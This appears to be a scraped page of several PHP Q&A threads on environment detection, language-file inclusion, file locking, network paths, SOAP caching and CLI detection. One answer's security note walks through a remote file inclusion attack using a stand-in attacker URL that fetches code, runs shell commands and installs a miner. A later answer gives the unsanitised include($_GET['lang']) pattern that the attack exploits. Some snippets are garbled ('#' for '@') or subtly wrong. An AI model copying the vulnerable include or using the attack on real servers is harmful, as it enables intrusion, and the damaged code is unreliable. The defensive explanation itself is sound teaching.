I work with two application servers on a daily basis: one development, one production. A variety of apps from different developers live on these boxes, as well as some scripts that run via cron. Currently, I am using the -D flag to httpd so that I can identify my production server in code, ie. isset($_SERVER['DEV']). Unfortunately, this does not work for scripts run from the command line since they're not under the Apache umbrella.
Essentially, I would like a clean, simple way to identify development vs. production that is available to every line of code.
What I have ruled out:
auto_prepend_file -- we are already using this directive in some applications, and you can't have more than one autoprepend.
What I am currently exploring:
Custom extension -- I'm sure creating a new extension that only defines a new constant (possibly influenced by an ini setting) would not be the hardest thing in the world, but I have no prior experience in this area.
So, got any tricks for identifying dev/prod that doesn't involve injecting code into every script or application?
use an environment variable
Just set an environment variable. It works on Windows and linux, they are even called the same thing now. Then just check $_ENV["DEVVSPROD"]
I usually just do something like this:
if ($_SERVER['HTTP_HOST'] == 'localhost') // or any other host
{
// development
}
else
{
// production
}
I ended up using $_ENV['HOSTNAME'], with php_uname("n") as a backup:
/**
* Returns true if we are working on a development server, determined by server's
* hostname. Will generate an error if run on an unknown host.
*/
public static function isdev()
{
static $isdev = null;
// don't run function body more than once
if( null !== $isdev ) {
return $isdev;
}
// prefer HOSTNAME in the environment, which will be set in Apache.
// use `uname -n' as a backup.
if( isset( $_ENV['HOSTNAME'] ) ) {
$hostname = $_ENV['HOSTNAME'];
} else {
$hostname = php_uname("n");
}
switch( $hostname ) {
case 'production1.example.com':
case 'production2.example.com':
case 'production3.example.com': $isdev = false; break;
case 'dev1.example.com':
case 'dev2':
case 'dev2.example.com': $isdev = true; break;
default: trigger_error( 'HOSTNAME is set to an unknown value', E_USER_ERROR );
}
return $isdev;
}
This came to my mind
if(filter_var(ini_get('display_errors'), FILTER_VALIDATE_BOOLEAN))
{
// development
}
else {
// production
}
or a better approach
define('IN_DEVELOPEMENT', filter_var(ini_get('display_errors'), FILTER_VALIDATE_BOOLEAN));
A company I worked for previously used a convention of suffixing servers as follows:
L = Live
D = Dev
T = Test
U = UAT
This makes determining the environment that you're working on, both inside and outside of Apache, fairly trivial.
Related
I have two PHP files - en.php and fr.php. One contains variables in English the other, in French. And I have to use the needed file based on the URL. For example, if the URL ends in ?lang=en I have to use the English one and vice versa. I am really new to PHP so that is why I'm asking here. Thanks!
Simple way
You keep the files in a specific directory, or strictly check the filename syntax.
This is because including the variables using require or include will execute a file that might be on another server, under someone else's control (see below, 'injection') under the security context of your web server. You so do not want this to happen, that it isn't funny. So: check the file name.
$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
$test = $_REQUEST['lang'];
// Verify "lang" is a two-letter string
if (preg_match('#^[a-z]{2}$#', $test)) {
// Verify the requested language file exists
if (is_readable("./{$test}.php")) {
$lang = $test;
}
}
}
// Finally include the file.
include_once("{$lang}.php");
Remembering last used language
session_start();
$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
...as before...
$lang = $test;
$_SESSION['lang'] = $lang;
} else {
if (array_key_exists('lang', $_SESSION)) {
$lang = $_SESSION['lang'];
}
}
// Finally include the file.
include_once("{$lang}.php");
More advanced: use a function to accept the language.
function validLanguage($test) {
// Verify "lang" is a two-letter string
if (preg_match('#^[a-z]{2}$#', $test)) {
// Verify the requested language file exists
if (is_readable("./{$test}.php")) {
return $test;
}
}
return null;
}
Now read it from browser.
PHP has a function to detect what language the browser is requiring.
$languages = array();
$languages[] = 'en'; // Default, with lowest priority
// Note: "en" default is not guaranteed to exist. You must ensure it does.
// Browser choice, with more priority than default
if (class_exists('Locale')) {
$locale = Locale::acceptFromHTTP($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if ($locale !== null) {
$test = substr($locale, 0, 2);
if (null !== ($test = validLanguage($test))) {
$languages[] = $test;
}
}
}
// Session, with more priority
if (array_key_exists('lang', $_SESSION)) {
$languages[] = $_SESSION['lang'];
}
// Language selected, with even more priority
if (array_key_exists('lang', $_REQUEST)) {
$test = $_REQUEST['lang'];
if (null !== ($test = validLanguage($test))) {
$languages[] = $test;
}
}
// Pop best choice for language
$lang = array_pop($languages);
// Remember for the next time
$_SESSION['lang'] = $lang;
// Finally include the appropriate file.
include_once("{$lang}.php");
Apache mod_rewrite
With more experience, you can, even afterwards, make it so requesting https://yoursite.com/en/anypage.php will actually be equivalent to requesting the ordinary https://yoursite.com/anypage.php?lang=en using Apache server's mod_rewrite facility, if you have it installed and activated, achieving more user- and SEO- friendly URLs. More details in this answer.
Doing this another way: using locale()
For the reasons detailed farther below, using include is not a very good idea after all. But usually you do this because you have something like
print "<h1>{$welcomeMessage}, {$username}!</h1>";
and you want to be able to say "Hello, John!" or "Bonjour, John!" or "Ciao, John", depending.
In PHP you can do this in several ways. One of the more robust is through gettext. This requires you to rewrite the above code like this - note that "_" is a valid function name! - ...
print "<h1>" . _('WELCOME_MESSAGE') .", {$username}!</h1>";
and then maintain a special file called a pofile that the underscore system can use.
This has several advantages in terms of memory usage and speed, and for professional usage also, since you can send an English pofile to, say, a Russian professional translator and they will (usually) be able to use it straight away with less hassle, more easily and hence for less money, so you will be able to purchase the appropriate pofile which - once uploaded - will translate your site (or the key parts of it) to Russian. You can even let your website owner (if you're a third-party developer) supply their own pofiles.
The job of using the gettext framework can be made less awkward with this trick: tell PHP beforehand that whatever is output must pass through a filter function.
ob_start('my_translate');
And this function will parse the argument looking for specific telltales that some text needs translating, and if so, return its translation:
function my_translate($text) {
// I will translate ??CAPITAL_STRINGS_IN_DOUBLE_QUESTI1MARKS??
$telltale = '#\?\?([A-Z][A-Z_0-9]+)\?\?#';
return preg_replace_callback(
$telltale,
function ($matches) {
return _($matches[1]);
}
$text
);
}
So now your PHP code becomes
print "<h1>??WELCOME?? {$username}!</h1>";
and instead of include("{$lang}.php") you would have a more complicated sequence, but you need it only in the one place:
// To guess actual OS, see this answer:
// https://stackoverflow.com/Questions/1482260/how-to-get-the-os-on-which-php-is-running
if ('Linux' === PHP_OS) {
setlocale(LC_MESSAGES, $lang);
} else {
putenv("LC_ALL={$lang}");
}
bindtextdomain('website', 'translations');
textdomain('website');
Also, you need to place the appropriate files in the "./translations" directory. In this example, $lang is a bit more complicated since it has to adhere to the "locale" syntax - so it would be "fr_FR" instead of "fr".
Security note about PHP code injection
Imagine that your server isn't very much hardened (many aren't; you'd be surprised). And the name of the desired language was not checked or sanitized. And I, John Q. Evil, have reason to suspect this might be the case. Or just want to check it out. I see "lang=en", I know what's going on.
So I prepare a PHP script on my server and prepare it to be served without being interpreted; accessing https://john.q.evil/hack.php will show you a PHP script complete with <?php start tags.
Then I access your site, and specify lang=https://john.q.evil/hack. Your web server obediently downloads and executes my code. My code, in turn, performs some diagnostics, determines that it's running on a Whateverix 5 server on an ARM CPU as user daemon, and downloads another binary optimized for the Whateverix OS on ARM7 in unprivileged context. Then executes it with shell_exec or in one of many other available ways. A few seconds later, your web server starts, say, mining cryptocoins to one of my disposable and deniable e-wallets.
This scenario is called a remote inclusion attack and is totally possible, and as to why should someone go to all this trouble on pretty little unknown me?, well, the answer is indeed that they wouldn't. But that because they wouldn't need to, not personally, not intentionally. They would instead deploy a crawler bot designed to efficiently locate all web servers that might be exploitable in such a way, and catch them all.
Why? Well, if I could infect, say, one thousand web servers, I could realistically siphon 15-20 watts of computing power from each of them without getting too much noticed. For free. At the end of a year, that should translate to around 2000 US dollars I cash having done absolutely nothing more than the initial setup. But the number of potential vulnerable websites is much more than a paltry one thousand. Attaining the 20,000 infected websites goal would begin to be a lucrative paying job (40K/yr), and tax-free to boot.
That's why miner malware is an industry, and this is why you need to always sanitize your inputs.
You can do something like that:
$lang = "en"; //default languague
if(isset($_GET['lang'])) {
$lang = $_GET['lang'];
}
require_once($lang.".php");
I would like to implement a quick and efficient serialization mechanism between PHP requests for virtual named resources that would unlock when the script is finished, either normally or due to error. I had eaccelerator_lock() and its corresponding eaccelerator_unlock() in the past, but eaccelerator doesn't implement that function anymore. What I want to do is something like:
lock_function("my-named-resource");
..
my_might_abort_abruptly_function();
..
unlock_function("my-named-resource");
Other PHP scripts calling lock_function() with the exact same parameter should block until this script calls unlock_function() or aborts. The resource name is unknown before the processing (it's a generated string) and can't be constrained to a small set (i.e., the locking mechanism should have good granularity). I would like to avoid try/catch code, because there are circunstances in which catch is not called. Also, any mechanism depending on manual usleep() spinning (instead of native OS blocking) should be avoided.
Mine is the only running application in the server. The system is a CentOS 6 Linux with PHP 5.3.3, Apache 2.2.15 and I have full control over it.
I explored the following alternatives:
semaphores: they are not well implemented in PHP; Linux allows arrays of thousands, while PHP only allocates one per id.
flock(): my resources are virtual, and flock() would only lock whole/real/existing files; I'd need to pre-create thousands of files and choose one to lock with a hash function. The granularity would depend on the number of files.
dio_fcntl(): I could attempt to reproduce the idea of flock() with a single file and fcntl(F_SETLK). This would have the advantage of a good granularity without the need of many files; the file could even be zero bytes long! (F_SETLK can lock beyond the end of the file). Alas! The problem is that nowhere in the documentation says that dio_fcntl() will release resources when the script terminates.
database lock: I could implement some key locking in a database with good key locking granularity, althought this is too database dependent. It would not be so quick either.
implement my own PHP extension: I'd really like to avoid that path.
The thing is, I think someone somewhere should have thought of this before me. What would be a good choice? Is there another solution I'm not seeing?
Thanks in advance. Guillermo.
You can always go old school and touch a file when your script starts and remove it when complete.
You could register_shutdown_function to remove the file.
The existence or absence of the file would indicate the locked state of the resource.
It turns out dio_open() does release the resources upon script termination. So I ended writing up the following functions:
$lockfile = $writable_dir."/serialized.lock";
function serialize_access($name)
{
$f = serialize_openfile();
if( !$f ) return false;
$h = serialize_gethash($name);
return dio_fcntl($f, F_SETLKW, array("whence"=>SEEK_SET,"start"=>$h, "length"=>1, "type"=>F_WRLCK)) >= 0;
}
function serialize_release($name)
{
$f = serialize_openfile();
if( !$f ) return false;
$h = serialize_gethash($name);
#dio_fcntl($f, F_SETLK, array("whence"=>SEEK_SET,"start"=>$h, "length"=>1, "type"=>F_UNLCK));
}
function serialize_gethash($name)
{
// Very good granularity (2^31)
return crc32($name) & 0x7fffffff;
}
function serialize_openfile()
{
global $lockfile, $serialize_file;
if( !isset($serialize_file) )
{
$serialize_file = false;
if( extension_loaded("dio") )
{
$serialize_file = #dio_open($lockfile,O_RDWR);
if( $serialize_file )
{
// Do not attempt to create the file with dio_open()
// because the file permissions get all mangled.
$prev = umask(0);
$temp = fopen($lockfile,"a");
if( $temp )
{
$serialize_file = #dio_open($lockfile,O_RDWR);
fclose($temp);
}
umask($prev);
}
}
}
return $serialize_file;
}
It seems to work very well.
implement my own PHP extension
You might want to check ninja-mutex library which does exactly what you want
I am checking in my code, if directory exists or not with is_dir().
It works for local drives, but not for network paths.
Can anyone help me out?
Here Is My Sample Code:
public function setXMLFilePath($filePath) {
if(is_dir($filePath)) {
$this->XMLFilePath = $filePath;
$retVal = true;
} else {
$ratVal = false;
}
return $retVal;
}//setXMLFilePath
And My Network Path is Like this:
$filePath = '\\Nas-heidi\heidi\FAS\Polish GameRobot\Export_Raffle\';
The file-related functions wrap over a few protocols, the Windows networking schema is not one of them.
Also notable is the fact that when you are accessing one of these (external) protocols you should not be using shorthands such as \\\network_computer\network_folder\ you should be using full protocol specifications such as ftp:///http:///ssh:// and if the protocol for Windows networking existed it would probably have such an identifier.
This is probably because the account that run PHP script (maybe the count that start the Apache service) has no permissions for such directories.
I am making a php/c# console app/c# soap service and I have created many functions within the web service, but I am unable to call one of them.
The function I am calling is a function which gets a string value from the database. The call works fine on Windows (using localhost) but when putting it onto a Linux server running under mono I get an exception stating the following:
Function ("getLastResetTime") is not a valid method for this service
The strange this is though, from the Linux server I can access the test form by going to asmx file and run the getLastResetTime function and it returns what is expected, it just seems to be the PHP that can't make the call.
Below is the code that I am using in PHP to call the script
function getLastResetTime()
{
include ("../../config.php");
include ("../../includes/get-settings.php");
include ("../../includes/general.php");
try
{
$client = new SoapClient("http://192.168.1.74/EmailServer/EmailSoapService/EmailSoapService.asmx?WSDL", array("trace" => 1, "exception" => 0));
$result = $client->__soapCall("getLastResetTime", array());
echo "Last Reset: " . $result->getLastResetTimeResult;
}
catch (Exception $e)
{
echo $e->getMessage();
}
}
The screenshot below proves that the web method is working under Mono and what it returns
Below is the code of the web service function
[WebMethod(Description = "Gets the time the Email Server last reset")]
public string getLastResetTime()
{
SoapHandler soapHandler = new SoapHandler();
return soapHandler.getLastResetTime();
}
and below is the code that the web service calls
public string getLastResetTime()
{
try
{
using (ConnectDb db = new ConnectDb(appSettings))
{
string query = "SELECT * FROM settings";
using (MySqlCommand cmd = new MySqlCommand(query, db.conn))
{
using (MySqlDataReader reader = cmd.ExecuteReader())
{
while (reader.Read())
{
if (reader.GetString("setting") == "app_lastRestart")
{
return reader.GetString("value");
}
}
}
}
}
return "N/A";
}
catch (MySqlException ex)
{
return ex.Message;
}
}
I don't understand why this isn't working, I'm guessing I've probably missing something really simple but can't find it.
Thanks for any help you can provide.
I've just found out the reason, but I don't understand why this doesn't affect the methods.
Basically, I was setting the WSDL to be the IP Address of the server (even though it was local to the server) so I was putting http://192.168.1.74/MySoapService.asmx but if I change it to http://localhost/MySoapService.asmx it works fine.
Why would I need to make it localhost instead of IP address for these services to work.
Is it because I am running several soap requests one after the other so the browser is stopping it, I did notice while I was trying to work out the problem, that Chrome was stating that it was throttling, if this is the issue then I would have thought the connection would time out, not say that the service is invalid.
UPDATE
I've now found out why changing the url from the IP to localhost fixed the issue, I realised as another function started having the same problem and later realised that php by default caches the wsdl, if this option is disabled in the php.ini file and restart the apache server, it then works fine. Probably quite useful in a production environment but a bit of a pain when development.
I need to determine whether the current invocation of PHP is from the command line (CLI) or from the web server (in my case, Apache with mod_php).
Any recommended methods?
php_sapi_name is the function you will want to use as it returns a lowercase string of the interface type. In addition, there is the PHP constant PHP_SAPI.
Documentation can be found here: http://php.net/php_sapi_name
For example, to determine if PHP is being run from the CLI, you could use this function:
function isCommandLineInterface()
{
return (php_sapi_name() === 'cli');
}
I have been using this function for a few years
function is_cli()
{
if ( defined('STDIN') )
{
return true;
}
if ( php_sapi_name() === 'cli' )
{
return true;
}
if ( array_key_exists('SHELL', $_ENV) ) {
return true;
}
if ( empty($_SERVER['REMOTE_ADDR']) and !isset($_SERVER['HTTP_USER_AGENT']) and count($_SERVER['argv']) > 0)
{
return true;
}
if ( !array_key_exists('REQUEST_METHOD', $_SERVER) )
{
return true;
}
return false;
}
php_sapi_name() is really not the best way to perform this check because it depends on checking against many possible values. The php-cgi binary can be called from the command line, from a shell script or as a cron job and (in most cases) these should also be treated as 'cli' but php_sapi_name() will return different values for these (note that this isn't the case with the plain version of PHP but you want your code to work anywhere, right?). Not to mention that next year there may be new ways to use PHP that we can't possibly know now. I'd rather not think about it when all I care about is weather I should wrap my output in HTML or not.
Fortunately, PHP has a way to check for this specifically. Just use http_response_code() without any parameters and it'll return TRUE if ran from a web server type environment and FALSE if ran from a CLI type environment. Here is the code:
$is_web=http_response_code()!==FALSE;
This will even work if you accidentally(?) set a response code from a script running from the CLI (or something like the CLI) before you call this.
I think he means if PHP CLI is being invoked or if it is a response from a web request. The best way would be to use php_sapi_name() which if it was running a web request would echo Apache if that is what it was running.
To list of a few taken from the php docs on php_sapi_name():
aolserver
apache
apache2filter
apache2handler
caudium
cgi (until PHP 5.3)
cgi-fcgi
cli
cli-server (Built-in web server as of PHP 5.4)
continuity
embed
fpm-fcgi
isapi
litespeed
milter
nsapi
phttpd
pi3web
roxen
thttpd
tux
webjames
This should handle all the cases (including php-cgi)
return (php_sapi_name() === 'cli' OR defined('STDIN'));
function is_cli() {
return !http_response_code();
}
example:
if (is_cli()) {
echo 'command line';
} else {
echo 'browser';
}
Try
isset($_SERVER['REQUEST_METHOD'])
if it's set, you're in a browser.
Alternatlely, you could check if
isset($_SERVER['argv'])
but that might not be true on windows CLI, IDK.
I used this:
php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)
This is from Drush codebase, environment.inc where they have similar check to make.
I would suggest to check if some of the entries of the $_SERVER array are set.
E.g.:
if (isset($_SERVER['REQUEST_METHOD'])) {
print "HTTP request\n";
} else {
print "CLI invocation\n";
}
According to http://jp2.php.net/manual/en/features.commandline.php There are a number of constants set only when running from the CLI. These constants are STDIN, STDOUT and STDERR. Testing for one of those will tell you if it is in cli mode
joomla way
if (array_key_exists('REQUEST_METHOD', $_SERVER)) die();
An easy way is to interrogate the $argv variable, (Which you will probably do for command line parameters anyway). Even if there are no parameters $argv returns an empty array.
If it is set, then cli was used. You may then assume all other invocations are via some web server or other.
eg:
if (isset($argv)) {
// Do the cli thing.
}
The correct answer to this question depends on the real intent behind it:
Is the SAPI the deciding factor (web-context or not)?
Or is the information interpreted as 'running in a tty'?
If the former the answers given and comments written are enough to find a solution that works.
If the latter, the recipes given here will fail if the tool is run as cronjob, or as background-job from another daemon -- in that case I suggest to further test if STDIN is a TTY:
function at_tty() {
return defined("\STDIN") && posix_isatty(\STDIN);
}
How, so many complicated solutions. How about ...
if($_SERVER['REQUEST_SCHEME']=="http" or $_SERVER['REQUEST_SCHEME']=="https"){
// must be browser :)
}
// Detect CLI calls
define("IS_CLI_CALL",( strcmp(php_sapi_name(),'cli') == 0 ));
if(IS_CLI_CALL){
//do you stuff here
}
Based off Silver Moon's answer above, I'm using this function for returning correct linebreaks:
/**
* Linebreak function
* #return "/n" if cli, else return <br>
*/
protected static function lb(){
return (defined('STDIN') || php_sapi_name() === 'cli' || isset($_ENV['SHELL']) ||
(empty($_SERVER['REMOTE_ADDR']) && !isset($_SERVER['HTTP_USER_AGENT']) && count($_SERVER['argv']) > 0) ||
!isset($_SERVER['REQUEST_METHOD'])) ? "\n" : "<br>";
}
A practical hint
The official way (as told by many) is PHP_SAPI as a constant, or php_sapi_name() as a function, they both return cli when you're in a command line situation. They're right.
But!...
Consider using $_SERVER["argv"] (also $argv in most cases) which is null when you run in a browser, and an array when you've been called from command line. The advantage of this approach (or using both) is that you can simulate a terminal run in a browser, by just giving a (fake) value to the $argv / $_SERVER["argv"] variable. This comes in handy when you test on an outside server (prod, staging, etc) where you typically won't get SSH access.
The best way to do this is keeping in mind whether you may or may not need a CLI simulation, and use both $argv and PHP_SAPI to coordinate this - e.g. you may need to output an extra <pre> tag beforehand if PHP_SAPI is not "cli" but $argv has a value.
My preferred method:
if (array_key_exists('SHELL', $_ENV)) {
echo "Console invocation";
}
else {
echo "HTTP invocation";
}
I'd try:
echo exec('whoami');
Usually webservers are run under a different username, so that should be telling.